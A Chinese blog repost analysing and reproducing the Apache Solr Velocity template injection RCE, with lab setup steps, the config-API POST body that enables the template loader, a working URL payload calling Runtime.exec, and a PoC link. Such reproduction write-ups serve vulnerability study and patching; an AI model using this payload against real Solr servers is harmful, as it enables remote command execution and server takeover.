Apache Solr velocity模板注入RCE漏洞的示例分析

0x01简介

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。Apache Solr velocity模板注入RCE漏洞的示例分析

0x02漏洞介绍

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。

0x03影响范围

Apache Solr 5.x – 8.2.0,存在config API版本

0x04环境搭建

安装java8环境,然后下载Solr,下载地址:

https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip

下载完成后解压然后进入bin目录执行./solr start

unzip solr-8.2.0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

启动会出现一些警告信息,我们可以通过修改bin下的solr.in.sh文件来进行消除,将SOLR_ULIMIT_CHECKS设置为false

vim solr.in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

然后再次进行启动 ./solr start root启动失败的话在后面加上加上-force即可Apache Solr velocity模板注入RCE漏洞的示例分析

在浏览器访问http://ip:8983,出现以下界面表示安装成功Apache Solr velocity模板注入RCE漏洞的示例分析

但是发现不能创建coreApache Solr velocity模板注入RCE漏洞的示例分析

我们先手动在/server/solr/目录下创建一个new_core的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到new_core目录下,之后再点创建Apache Solr velocity模板注入RCE漏洞的示例分析

0x05漏洞复现

创建好Core后访问查看该应用config文件是否可以访问

http://ip:8983/solr/new_core/configApache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改整合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。

使用Burp抓取本页面的包,直接构造POST请求,加入以下数据

{

“update-queryresponsewriter”: {

“startup”: “lazy”,

“name”: “velocity”,

“class”: “solr.VelocityResponseWriter”,

“template.base.dir”: “”,

“solr.resource.loader.enabled”: “true”,

“params.resource.loader.enabled”: “true”

}

}

Apache Solr velocity模板注入RCE漏洞的示例分析

接下来我们就可以构造payload来实现RCE

payload:

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr velocity模板注入RCE漏洞的示例分析

POC地址:https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template

0x06修复方式

更新到最新版本

关于“Apache Solr velocity模板注入RCE漏洞的示例分析”就介绍到这了,更多相关内容可以搜索亿速云以前的文章,希望能够帮助大家答疑解惑,请多多支持亿速云网站!

文章标题:Apache Solr velocity模板注入RCE漏洞的示例分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24709

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月13日 下午11:42
下一篇 2022年9月13日 下午11:43

相关推荐

  • win8如何取消开机账户登录

    win8取消开机账户登录的方法 1、win+r打开运行界面。 2、对话框输入“netplwiz”,回车确定。 3、然后把“要使用本计算机,用户必须输入用户名和密码”前面的勾去掉。 4、点击确定之后系统会再次弹出一个密码输入框,这个时候我们再次输入密码点击确定就可以了。 关于“win8如何取消开机账户…

    2022年9月24日
    40500
  • win7对象不支持此属性或方法怎么解决

    解决win7对象不支持此属性或方法的步骤 1、打开浏览器,点击右上角工具选项,选择internet选项,如图所示 2、在internet选择中,点击安全选项,点击默认级别,如图所示 3、之后点击“默认级别”选项,点击右下角的“应用”选项,如图所示 4、切换到“高级”选项中将“禁用脚本调试(Inter…

    2022年9月24日
    41000
  • 如何使用redis实现分布式缓存

    分布式缓存描述: 分布式缓存重点是在分布式上,相信大家接触过的分布式有很多中,像分布式开发,分布式部署,分布式锁、事物、系统 等有很多。使我们对分布式本身就有一个很明确的认识,分布式就是有多个应用程序组成,可能分布在不同的服务器上,最终都是在为web端提供服务。 分布式缓存有以下几点优点: 所有的W…

    2022年9月13日
    1.0K00
  • 使用Redis如何实现分布式锁

    1. 什么是分布式锁 当我们在编写多线程代码的时候,不同的线程可能会发生资源的争夺,为了避免资源争夺造成的错误,我们会对资源上锁,只有获得锁的线程才能继续往下执行。 进程中的锁,本质就是内存中一个变量,当一个线程执行某个操作申请加锁时,如果能成功把代表锁的变量值设置为1,则表示获得了锁,其他线程想要…

    2022年9月8日
    53000
  • windows声卡驱动被卸载了如何恢复

    声卡驱动被卸载了恢复方法: 方法一: 1、现在的系统都自带自动安装驱动的功能。 2、只要我们连接了网络,那么重启电脑就可以恢复声卡驱动了。 3、如果是耳机或音响等外接声音设备驱动,可以尝试拔出连接线重新连接即可恢复。 方法二: 1、如果电脑无法联网,那么可以尝试手动恢复。 2、右键开始菜单,打开“设…

    2022年9月21日
    76800
  • APP崩溃的主要原因是什么

    一 、什么样的场景下容易出现崩溃类问题 最近脑子里一直在想什么样的问题容易导致崩溃——那就是具有异常思维,举个例子:正好前两天看了一部美剧叫《菜鸟老警》,里面有个场景是主人公John Nolan因为没有用警车拦住逃犯的车而导致逃犯出逃,这个场景与测试有什么关联呢?首先正常人在马路上行驶都会躲避避免与…

    2022年9月2日
    57200
  • windows 0xc000021a怎么手动修复

    0xc000021a手动修复方法: 方法一: 1、首先按下电脑的电源键,会重新启动电脑。 2、重复操作2-3次,会进入系统修复界面,选择“高级选项” 3、接着进入“疑难解答”,再选择进入其中的“高级选项” 4、然后在其中选择进入“命令提示符” 5、然后在命令提示符中依次分别输入“bootrec /f…

    2022年9月15日
    1.5K00
  • IDEA类存在但找不到如何解决

    1.刷新maven项目 2.清理idea缓存 3.maven clean install 4.重新bulid 5.如果使用了lombok插件开启之后重新build 6.maven依赖冲突导致 1.打开当前maven模块或者,父类模块对应的pom,哪个模块有冲突进入那个模块!2.ctlr+alt+sh…

    2022年9月21日
    1.7K00
  • windows edge浏览器缓存位置如何修改

    edge浏览器缓存位置更改方法: 1、进入edge浏览器的路径位置,删除“Cache”缓存文件夹。 2、右击开始,选择“命令提示符(管理员)”。 3、输入命令 mklink /D “C:Users用户名AppDataLocalPackagesMicrosoft.MicrosoftEdge…

    2022年9月8日
    1.4K00
  • Mybatisplus中的like查询问题怎么解决

    本篇文章“Mybatisplus中的like查询问题怎么解决”主要为您从以下几个方面讲解:上代码、like的四种用法,希望对您有所启发。 Mybatis plus中like查询问题 又谈到了Mybatis plus了,真的很是痛心疾首,在做模糊查询的时候出现了一个问题,版本还是2.0.8,我觉得大问…

    2022年6月29日
    1.8K00
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部